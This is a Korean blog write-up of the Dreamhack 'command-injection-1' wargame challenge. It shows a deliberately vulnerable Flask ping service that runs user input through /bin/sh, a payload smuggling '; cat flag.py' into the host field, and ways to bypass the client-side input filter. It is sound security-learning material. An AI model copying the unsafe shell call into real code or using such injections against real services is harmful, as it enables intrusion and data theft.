Tiny Bunny

Wargame/dreamhack

command-injection-1

bento 2023. 10. 3. 17:08

드림핵 

Dreamhack command-injection-1

 

Command Injection

이용자의 입력을 시스템 명령어로 실행하게 하는 취약점

명령어를 실행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생

 

메타 문자(Meta Character)

셸 프로그램에서 특수하게 처리하는 문자

참고 - https://learn.dreamhack.io/187#4


command-injection-1

https://dreamhack.io/wargame/challenges/44/

 

command-injection-1

특정 Host에 ping 패킷을 보내는 서비스입니다. Command Injection을 통해 플래그를 획득하세요. 플래그는 flag.py에 있습니다. Reference Introduction of Webhacking

dreamhack.io

 

메타 문자 ;를 사용하면 여러 개의 명령어를 순서대로 실행 시킴

 

전체코드

더보기
#!/usr/bin/env python3
import subprocess

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)

@APP.route('/')
def index():
    return render_template('index.html')

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')

if __name__ == '__main__':
    APP.run(host='0.0.0.0', port=8000)

if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
  • 주어진 코드

{host} 에 들어가겠구나 확인

ex) 8.8.8.8 > ping -c 3 "8.8.8.8"

그럼 ping -c 3 "8.8.8.8"; cat "flag.py" 이 되게 작성하면 되겠다..

 

  • 코드 작성

8.8.8.8"; cat ”flag.py > 실패

<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" pattern="[A-Za-z0-9.]{5,20}" required="">

원인 —> pattern="[A-Za-z0-9.]{5,20}" : 5~20 자리의 영어 대소문자, 숫자, “.”

뭔가 필터링 중.. 개발자 도구로 html에서 삭제하고 다시 입력 or burp suite 사용도 가능!

728x90

'Wargame > dreamhack' 카테고리의 다른 글

file-download-1  (0) 2023.10.03
image-storage  (0) 2023.10.03
MANGO  (0) 2023.10.03
NoSQL  (0) 2023.10.03
simple_sqli  (0) 2023.10.03